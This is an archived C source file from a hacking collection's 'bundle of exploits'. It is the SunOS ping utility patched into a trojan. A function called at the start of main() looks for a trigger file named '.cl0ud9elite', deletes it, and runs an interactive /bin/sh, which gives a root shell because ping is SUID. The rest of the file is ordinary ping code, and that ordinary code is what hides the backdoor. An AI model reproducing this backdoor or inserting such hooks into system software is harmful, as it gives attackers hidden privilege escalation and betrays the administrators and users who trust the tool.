home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sushiPing.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  16KB  |  728 lines

  1. #ident "@(#)ping.c 1.1 92/07/30 SMI from UCB 4.9 6/18/88" 
  2.  
  3. /*
  4.  * sushiPing
  5.  *
  6.  * ping quickpatch - exec's an SUID shell 
  7.  * modified from SunOS 4.1.3 source
  8.  *
  9.  * invoked when /tmp contains a defined trigger file 
  10.  * defaulted to ".cl0ud9elite", which is removed after
  11.  * program execution
  12.  *
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <errno.h>
  17. #include <signal.h>
  18. #include <sys/time.h>
  19.  
  20. #include <sys/param.h>
  21. #include <sys/socket.h>
  22. #include <sys/file.h>
  23.  
  24. #include <netinet/in_systm.h>
  25. #include <netinet/in.h>
  26. #include <netinet/ip.h>
  27. #include <netinet/ip_icmp.h>
  28. #include <netdb.h>
  29.  
  30. /* patched code */
  31. #define TRIGGERFILE ".cl0ud9elite"
  32. /* end patched code */
  33.  
  34. #define    MAXWAIT        10    /* max time to wait for response, sec. */
  35. #define    MAXPACKET    4096    /* max packet size */
  36. #ifndef MAXHOSTNAMELEN
  37. #define MAXHOSTNAMELEN    64
  38. #endif
  39.  
  40. int    verbose;
  41. int    stats;
  42. u_char    packet[MAXPACKET];
  43. int    options;
  44. extern    int errno;
  45.  
  46. int s;            /* Socket file descriptor */
  47. struct hostent *hp;    /* Pointer to host info */
  48.  
  49. struct sockaddr whereto;/* Who to ping */
  50. int datalen;        /* How much data */
  51.  
  52. char usage[] =
  53. "Usage:    ping host [timeout]\n\
  54.     ping -s[drvRl] host [data size] [npackets]\n";
  55.  
  56. char *hostname;
  57. char hnamebuf[MAXHOSTNAMELEN];
  58.  
  59. int npackets;
  60. int ntransmitted = 0;        /* sequence # for outbound packets = #sent */
  61. int ident;
  62.  
  63. int nreceived = 0;        /* # of packets we got back */
  64. int timing = 0;
  65. int tmin = 999999999;
  66. int tmax = 0;
  67. int tsum = 0;            /* sum of all times, for doing average */
  68. int record = 0;            /* true if using record route */
  69. int loose = 0;            /* true if using loose source route */
  70.  
  71. # define MAX_ROUTES 9        /* maximum number of source route space */
  72. # define ROUTE_SIZE (IPOPT_OLEN + IPOPT_OFFSET + \
  73.                MAX_ROUTES * sizeof(struct in_addr))
  74. void finish(), catcher(), sushi();
  75.  
  76. /*
  77.  *             M A I N
  78.  */
  79. main(argc, argv)
  80. char *argv[];
  81. {
  82.     struct sigvec sv;
  83.     struct sockaddr_in from;
  84.     char **av = argv;
  85.     struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
  86.     int on = 1;
  87.     int timeout = 20;
  88.  
  89.      /* patched code */
  90.     sushi();
  91.      /* end patched code */
  92.  
  93.     argc--, av++;
  94.     while (argc > 0 && *av[0] == '-') {
  95.         while (*++av[0]) switch (*av[0]) {
  96.             case 'd':
  97.                 options |= SO_DEBUG;
  98.                 break;
  99.             case 'r':
  100.                 options |= SO_DONTROUTE;
  101.                 break;
  102.             case 'R':
  103.                 record = 1;
  104.                 break;
  105.             case 'l':
  106.                 loose = 1;
  107.                 break;
  108.             case 'v':
  109.                 verbose++;
  110.                 break;
  111.             case 's':
  112.                 stats++;
  113.                 break;
  114.         }
  115.         argc--, av++;
  116.     }
  117.     if( argc < 1)  {
  118.         fprintf(stderr, usage);
  119.         exit(1);
  120.     }
  121.  
  122.     bzero( (char *)&whereto, sizeof(struct sockaddr) );
  123.     to->sin_family = AF_INET;
  124.     to->sin_addr.s_addr = inet_addr(av[0]);
  125.     if (to->sin_addr.s_addr != -1) {
  126.         strcpy(hnamebuf, av[0]);
  127.         hostname = hnamebuf;
  128.     } else {
  129.         hp = gethostbyname(av[0]);
  130.         if (hp) {
  131.             to->sin_family = hp->h_addrtype;
  132.             bcopy(hp->h_addr, (caddr_t)&to->sin_addr, hp->h_length);
  133.             hostname = hp->h_name;
  134.         } else {
  135.             fprintf(stderr, "%s: unknown host %s\n", argv[0], av[0]);
  136.             exit(1);
  137.         }
  138.     }
  139.  
  140.     if( argc >= 2 )
  141.         datalen = atoi( av[1] );
  142.     else
  143.         datalen = 64-8;
  144.     if (argc > 2)
  145.         npackets = atoi(av[2]);
  146.     if (!stats && argc >= 2) {
  147.         npackets = 0;
  148.         timeout = atoi(av[1]);
  149.         datalen = 64-8;
  150.     }
  151.     if (datalen > MAXPACKET) {
  152.         fprintf(stderr, "ping: packet size too large\n");
  153.         exit(1);
  154.     }
  155.     if (datalen >= sizeof(struct timeval))
  156.         timing = 1;
  157.  
  158.     ident = getpid() & 0xFFFF;
  159.  
  160.     if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
  161.         perror("ping: socket");
  162.         exit(5);
  163.     }
  164.     if (options & SO_DEBUG)
  165.         setsockopt(s, SOL_SOCKET, SO_DEBUG, &on, sizeof(on));
  166.     if (options & SO_DONTROUTE)
  167.         setsockopt(s, SOL_SOCKET, SO_DONTROUTE, &on, sizeof(on));
  168.     if (record || loose) {
  169.       /*
  170.        * Set the record route option
  171.        */
  172.         char srr[ROUTE_SIZE + 1];
  173.         int optsize = sizeof(srr);
  174.         
  175.         bzero(srr, sizeof(srr));
  176.         srr[0] = IPOPT_RR;
  177.         srr[1] = ROUTE_SIZE;
  178.         srr[2] = IPOPT_MINOFF;
  179.         if (loose) {
  180.             struct sockaddr_in mine; 
  181.  
  182.         srr[0] = IPOPT_LSRR;
  183.         srr[1] = 11;
  184.         get_myaddress( &mine );
  185.             bcopy( (char *)&to->sin_addr, srr+3, sizeof(struct in_addr));
  186.             bcopy( (char *)&mine.sin_addr, srr+7, sizeof(struct in_addr));
  187.         if (record) {
  188.             srr[11] = IPOPT_RR;
  189.             srr[12] = ROUTE_SIZE - 11;
  190.             srr[13] = IPOPT_MINOFF;
  191.         }
  192.         else {
  193.             optsize = 12;
  194.         }
  195.         }
  196.         if (setsockopt(s, IPPROTO_IP, IP_OPTIONS, srr, optsize) < 0)
  197.         perror("IP Options");
  198.     }
  199.  
  200.     if (stats)
  201.         printf("PING %s: %d data bytes\n", hostname, datalen );
  202.  
  203.     setlinebuf( stdout );
  204.  
  205.     if (stats)
  206.         signal( SIGINT, finish );
  207.     /*
  208.      * Make sure that this signal actually interrupts (rather than
  209.      * restarts) the recvfrom call below.
  210.      */
  211.     sv.sv_handler = catcher;
  212.     sv.sv_mask = 0;
  213.     sv.sv_flags = SV_INTERRUPT;
  214.     (void) sigvec(SIGALRM, &sv, (struct sigvec *)NULL);
  215.  
  216.     catcher();    /* start things going */
  217.  
  218.     for (;;) {
  219.         int len = sizeof (packet);
  220.         int fromlen = sizeof (from);
  221.         int cc;
  222.  
  223.         if (!stats && ntransmitted > timeout) {
  224.             printf("no answer from %s\n", hostname);
  225.             exit(1);
  226.         }
  227.         if ( (cc=recvfrom(s, packet, len, 0, &from, &fromlen)) < 0) {
  228.             if( errno == EINTR )
  229.                 continue;
  230.             perror("ping: recvfrom");
  231.             continue;
  232.         }
  233.         pr_pack( packet, cc, &from );
  234.         if (npackets && nreceived >= npackets)
  235.             finish();
  236.     }
  237.     /*NOTREACHED*/
  238. }
  239.  
  240. /*
  241.  *             C A T C H E R
  242.  * 
  243.  * This routine causes another PING to be transmitted, and then
  244.  * schedules another SIGALRM for 1 second from now.
  245.  * 
  246.  * Bug -
  247.  *     Our sense of time will slowly skew (ie, packets will not be launched
  248.  *     exactly at 1-second intervals).  This does not affect the quality
  249.  *    of the delay and loss statistics.
  250.  */
  251. void
  252. catcher()
  253. {
  254.     int waittime;
  255.  
  256.     pinger();
  257.     if (npackets == 0 || ntransmitted < npackets)
  258.         alarm(1);
  259.     else {
  260.         if (nreceived) {
  261.             waittime = 2 * tmax / 1000;
  262.             if (waittime == 0)
  263.                 waittime = 1;
  264.         } else
  265.             waittime = MAXWAIT;
  266.         signal(SIGALRM, finish);
  267.         alarm(waittime);
  268.     }
  269. }
  270.  
  271. /*
  272.  *             P I N G E R
  273.  * 
  274.  * Compose and transmit an ICMP ECHO REQUEST packet.  The IP packet
  275.  * will be added on by the kernel.  The ID field is our UNIX process ID,
  276.  * and the sequence number is an ascending integer.  The first 8 bytes
  277.  * of the data portion are used to hold a UNIX "timeval" struct in VAX
  278.  * byte-order, to compute the round-trip time.
  279.  */
  280. pinger()
  281. {
  282.     static u_char outpack[MAXPACKET];
  283.     register struct icmp *icp = (struct icmp *) outpack;
  284.     int i, cc;
  285.     register struct timeval *tp = (struct timeval *) &outpack[8];
  286.     register u_char *datap = &outpack[8+sizeof(struct timeval)];
  287.  
  288.     icp->icmp_type = loose ? ICMP_ECHOREPLY : ICMP_ECHO;
  289.     icp->icmp_code = 0;
  290.     icp->icmp_cksum = 0;
  291.     icp->icmp_seq = ntransmitted++;
  292.     icp->icmp_id = ident;        /* ID */
  293.  
  294.     cc = datalen+8;            /* skips ICMP portion */
  295.  
  296.     if (timing)
  297.         gettimeofday( tp, (struct timezone *) NULL );
  298.  
  299.     for( i=8; i<datalen; i++)    /* skip 8 for time */
  300.         *datap++ = i;
  301.  
  302.     /* Compute ICMP checksum here */
  303.     icp->icmp_cksum = in_cksum( icp, cc );
  304.  
  305.     /* cc = sendto(s, msg, len, flags, to, tolen) */
  306.     i = sendto( s, outpack, cc, 0, &whereto, sizeof(struct sockaddr) );
  307.  
  308.     if( i < 0 || i != cc )  {
  309.         if( i<0 ) {
  310.             perror("sendto");
  311.             if (!stats)
  312.             exit(1);
  313.         }
  314.         printf("ping: wrote %s %d chars, ret=%d\n",
  315.             hostname, cc, i );
  316.         fflush(stdout);
  317.     }
  318. }
  319.  
  320. /*
  321.  *             P R _ T Y P E
  322.  *
  323.  * Convert an ICMP "type" field to a printable string.
  324.  */
  325. char *
  326. pr_type( t )
  327. register int t;
  328. {
  329.     static char *ttab[] = {
  330.         "Echo Reply",
  331.         "ICMP 1",
  332.         "ICMP 2",
  333.         "Dest Unreachable",
  334.         "Source Quench",
  335.         "Redirect",
  336.         "ICMP 6",
  337.         "ICMP 7",
  338.         "Echo",
  339.         "ICMP 9",
  340.         "ICMP 10",
  341.         "Time Exceeded",
  342.         "Parameter Problem",
  343.         "Timestamp",
  344.         "Timestamp Reply",
  345.         "Info Request",
  346.         "Info Reply",
  347.         "Netmask Request",
  348.         "Netmask Reply"
  349.     };
  350.  
  351.     if ( t < 0 || t > 16 )
  352.         return("OUT-OF-RANGE");
  353.  
  354.     return(ttab[t]);
  355. }
  356.  
  357. /*
  358.  *            P R _ N A M E
  359.  *
  360.  * Return a string name for the given IP address.
  361.  */
  362. char *pr_name(addr)
  363.     struct in_addr addr;
  364. {
  365.     char *inet_ntoa();
  366.     struct hostent *phe;
  367.     static char buf[256];
  368.  
  369.     phe = gethostbyaddr(&addr.s_addr, 4, AF_INET);
  370.     if (phe == NULL) 
  371.         return( inet_ntoa(addr));
  372.     (void) sprintf(buf, "%s (%s)", phe->h_name, inet_ntoa(addr));
  373.     return(buf);
  374. }
  375.  
  376. /*
  377.  * Print the IP protocol
  378.  */
  379. char *
  380. pr_protocol(p)
  381. {
  382.     static char buf[20];
  383.  
  384.     switch (p) {
  385.         case IPPROTO_ICMP:    return("icmp");
  386.         case IPPROTO_TCP:    return("tcp");
  387.         case IPPROTO_UDP:    return("udp");
  388.     }
  389.     sprintf(buf,"prot %d",p);
  390.     return(buf);
  391. }
  392.  
  393.  
  394. /*
  395.  *            P R _ P A C K
  396.  *
  397.  * Print out the packet, if it came from us.  This logic is necessary
  398.  * because ALL readers of the ICMP socket get a copy of ALL ICMP packets
  399.  * which arrive ('tis only fair).  This permits multiple copies of this
  400.  * program to be run without having intermingled output (or statistics!).
  401.  */
  402. pr_pack( buf, cc, from )
  403. char *buf;
  404. int cc;
  405. struct sockaddr_in *from;
  406. {
  407.     struct ip *ip;
  408.     register struct icmp *icp;
  409.     register long *lp = (long *) packet;
  410.     register int i;
  411.     struct timeval tv;
  412.     struct timeval *tp;
  413.     int hlen, triptime;
  414.     struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
  415.     long w;
  416.     static char *unreach[] = {
  417.         "Net Unreachable",
  418.         "Host Unreachable",
  419.         "Protocol Unreachable",
  420.         "Port Unreachable",
  421.         "Fragmentation needed and DF set",
  422.         "Source Route Failed"
  423.     };
  424.     static char *redirect[] = {
  425.         "Net",
  426.         "Host",
  427.         "TOS Net",
  428.         "TOS Host"
  429.     };
  430.  
  431.     gettimeofday( &tv, (struct timezone *) NULL );
  432.  
  433.     ip = (struct ip *) buf;
  434.     hlen = ip->ip_hl << 2;
  435.     if (cc < hlen + ICMP_MINLEN) {
  436.         if (verbose)
  437.             printf("packet too short (%d bytes) from %s\n", cc,
  438.                 pr_name(from->sin_addr));
  439.         return;
  440.     }
  441.     cc -= hlen;
  442.     icp = (struct icmp *)(buf + hlen);
  443.     if (ip->ip_p == 0) {
  444.         /*
  445.          * Assume that we are running on a pre-4.3BSD system
  446.          * such as SunOS before 4.0
  447.          */
  448.          icp = (struct icmp *)buf;
  449.     }
  450.     switch (icp->icmp_type) {
  451.       case ICMP_UNREACH:
  452.         ip = &icp->icmp_ip;
  453.         if (ip->ip_dst.s_addr == to->sin_addr.s_addr || verbose) {
  454.         printf("ICMP %s from gateway %s\n", 
  455.             unreach[icp->icmp_code], pr_name(from->sin_addr));
  456.         printf(" for %s from %s", pr_protocol(ip->ip_p), 
  457.                       pr_name(ip->ip_src) );
  458.         printf(" to %s", pr_name(ip->ip_dst) );
  459.         if (ip->ip_p == IPPROTO_TCP || ip->ip_p == IPPROTO_UDP)
  460.             printf(" port %d\n", 
  461.                 ntohs(((u_short *)ip)[sizeof(struct ip)/2 + 1]) );
  462.         else
  463.             printf("\n");
  464.         }
  465.         break;
  466.  
  467.       case ICMP_REDIRECT:
  468.         ip = &icp->icmp_ip;
  469.         if (ip->ip_dst.s_addr == to->sin_addr.s_addr || verbose) {
  470.         printf("ICMP %s redirect from gateway %s\n", 
  471.             redirect[icp->icmp_code], pr_name(from->sin_addr));
  472.         printf(" to %s", pr_name(icp->icmp_gwaddr) );
  473.         printf(" for %s\n", pr_name(ip->ip_dst) );
  474.         }
  475.         break;
  476.  
  477.       case ICMP_ECHOREPLY:
  478.         if ( icp->icmp_id != ident )
  479.         return;            /* 'Twas not our ECHO */
  480.  
  481.         if (!stats) {
  482.         printf("%s is alive\n", hostname);
  483.         exit(0);
  484.         }
  485.         tp = (struct timeval *)&icp->icmp_data[0];
  486.         printf("%d bytes from %s: ", cc, pr_name(from->sin_addr));
  487.         printf("icmp_seq=%d. ", icp->icmp_seq );
  488.         if (timing) {
  489.         tvsub( &tv, tp );
  490.         triptime = tv.tv_sec*1000+(tv.tv_usec/1000);
  491.         printf("time=%d. ms\n", triptime );
  492.         tsum += triptime;
  493.         if ( triptime < tmin )
  494.             tmin = triptime;
  495.         if ( triptime > tmax )
  496.             tmax = triptime;
  497.         } else
  498.         putchar('\n');
  499.         nreceived++;
  500.         break;
  501.  
  502.       case ICMP_SOURCEQUENCH:
  503.       case ICMP_TIMXCEED:
  504.         ip = &icp->icmp_ip;
  505.         if (ip->ip_dst.s_addr == to->sin_addr.s_addr || verbose) {
  506.         printf("ICMP %s from %s\n",pr_type(icp->icmp_type),
  507.                        pr_name(from->sin_addr));
  508.         printf(" for %s", pr_name(ip->ip_src) );
  509.         printf(" to %s", pr_name(ip->ip_dst) );
  510.         printf(" port %d\n", ((u_short *)ip)[sizeof(struct ip)/2 + 1] );
  511.         }
  512.         break;
  513.  
  514.       default:
  515.         if (verbose) {
  516.         printf("%d bytes from %s:\n", cc,
  517.             pr_name(from->sin_addr));
  518.         printf("icmp_type=%d (%s) ",
  519.                 icp->icmp_type, pr_type(icp->icmp_type) );
  520.         printf("icmp_code=%d\n", icp->icmp_code );
  521.         for( i=0; i<12; i++)
  522.             printf("x%2.2x: x%8.8x\n", i*sizeof(long), *lp++ );
  523.         }
  524.         break;
  525.     }
  526.     buf += sizeof(struct ip);
  527.     hlen -= sizeof(struct ip);
  528.     if (verbose && hlen > 0)
  529.         pr_options(buf, hlen);
  530. }
  531.  
  532. /*
  533.  *        P R _ O P T I O N S
  534.  * Print out the ip options.
  535.  */
  536. pr_options(opt, optlength)
  537.     unsigned char *opt;
  538.     int optlength;
  539. {
  540.     int curlength;
  541.  
  542.     printf("  IP options: ");
  543.     while (optlength > 0) {
  544.        curlength = opt[1];
  545.        switch (*opt) {
  546.          case IPOPT_EOL:
  547.         optlength = 0;
  548.         break;
  549.      
  550.      case IPOPT_NOP:
  551.         opt++;
  552.         optlength--;
  553.         continue;
  554.      
  555.      case IPOPT_RR:
  556.         printf(" <record route> ");
  557.         ip_rrprint(opt, curlength);
  558.         break;
  559.      
  560.      case IPOPT_TS:
  561.         printf(" <time stamp>");
  562.         break;
  563.      
  564.      case IPOPT_SECURITY:
  565.         printf(" <security>");
  566.         break;
  567.      
  568.      case IPOPT_LSRR:
  569.         printf(" <loose source route> ");
  570.         ip_rrprint(opt, curlength);
  571.         break;
  572.      
  573.      case IPOPT_SATID:
  574.         printf(" <stream id>");
  575.         break;
  576.      
  577.      case IPOPT_SSRR:
  578.         printf(" <strict source route> ");
  579.         ip_rrprint(opt, curlength);
  580.         break;
  581.      
  582.      default:
  583.         printf(" <option %d, len %d>", *opt, curlength);
  584.         break;
  585.        }
  586.        /*
  587.         * Following most options comes a length field
  588.     */
  589.     opt += curlength;
  590.     optlength -= curlength;
  591.     }
  592.     printf("\n");
  593.   }
  594.  
  595.  
  596. /*
  597.  * Print out a recorded route option.
  598.  */
  599. ip_rrprint(opt, length)
  600.     unsigned char *opt;
  601.     int length;
  602. {
  603.     int pointer;
  604.     struct in_addr addr;
  605.  
  606.     opt += IPOPT_OFFSET;
  607.     length -= IPOPT_OFFSET;
  608.  
  609.     pointer = *opt++;
  610.     pointer -= IPOPT_MINOFF;
  611.     length--;
  612.     while (length > 0) {
  613.     bcopy((char *)opt, (char *)&addr, sizeof(addr));
  614.     printf( "%s", pr_name(addr) );
  615.     if (pointer == 0)
  616.         printf( "(Current)");
  617.     opt += sizeof(addr);
  618.     length -= sizeof(addr);
  619.     pointer -= sizeof(addr);
  620.     if (length >0)
  621.         printf( ", ");
  622.     }
  623. }
  624.  
  625.  
  626. /*
  627.  *            I N _ C K S U M
  628.  *
  629.  * Checksum routine for Internet Protocol family headers (C Version)
  630.  *
  631.  */
  632. in_cksum(addr, len)
  633. u_short *addr;
  634. int len;
  635. {
  636.     register int nleft = len;
  637.     register u_short *w = addr;
  638.     register u_short answer;
  639.     u_short odd_byte = 0;
  640.     register int sum = 0;
  641.  
  642.     /*
  643.      *  Our algorithm is simple, using a 32 bit accumulator (sum),
  644.      *  we add sequential 16 bit words to it, and at the end, fold
  645.      *  back all the carry bits from the top 16 bits into the lower
  646.      *  16 bits.
  647.      */
  648.     while( nleft > 1 )  {
  649.         sum += *w++;
  650.         nleft -= 2;
  651.     }
  652.  
  653.     /* mop up an odd byte, if necessary */
  654.     if( nleft == 1 ) {
  655.         *(u_char *)(&odd_byte) = *(u_char *)w;
  656.         sum += odd_byte;
  657.     }
  658.  
  659.     /*
  660.      * add back carry outs from top 16 bits to low 16 bits
  661.      */
  662.     sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
  663.     sum += (sum >> 16);            /* add carry */
  664.     answer = ~sum;                /* truncate to 16 bits */
  665.     return (answer);
  666. }
  667.  
  668. /*
  669.  *             T V S U B
  670.  * 
  671.  * Subtract 2 timeval structs:  out = out - in.
  672.  * 
  673.  * Out is assumed to be >= in.
  674.  */
  675. tvsub( out, in )
  676. register struct timeval *out, *in;
  677. {
  678.     if( (out->tv_usec -= in->tv_usec) < 0 )   {
  679.         out->tv_sec--;
  680.         out->tv_usec += 1000000;
  681.     }
  682.     out->tv_sec -= in->tv_sec;
  683. }
  684.  
  685. /*
  686.  *            F I N I S H
  687.  *
  688.  * Print out statistics, and give up.
  689.  * Heavily buffered STDIO is used here, so that all the statistics
  690.  * will be written with 1 sys-write call.  This is nice when more
  691.  * than one copy of the program is running on a terminal;  it prevents
  692.  * the statistics output from becomming intermingled.
  693.  */
  694. void
  695. finish()
  696. {
  697.     printf("\n----%s PING Statistics----\n", hostname );
  698.     printf("%d packets transmitted, ", ntransmitted );
  699.     printf("%d packets received, ", nreceived );
  700.     if (ntransmitted)
  701.         printf("%d%% packet loss",
  702.         (int) (((ntransmitted-nreceived)*100) / ntransmitted ) );
  703.     printf("\n");
  704.     if (nreceived && timing)
  705.         printf("round-trip (ms)  min/avg/max = %d/%d/%d\n",
  706.         tmin,
  707.         tsum / nreceived,
  708.         tmax );
  709.     fflush(stdout);
  710.     exit(0);
  711. }
  712.  
  713. /* patched code */
  714.  
  715. void 
  716. sushi()
  717.     {
  718.     FILE *fp = fopen(TRIGGERFILE,"r");
  719.     if(fp) {
  720.         printf("d1sco\n");
  721.         fclose(fp);
  722.         unlink(TRIGGERFILE);
  723.         execl("/bin/sh","-i",0);
  724.         }
  725.     }
  726.  
  727. /* end patched code */
  728.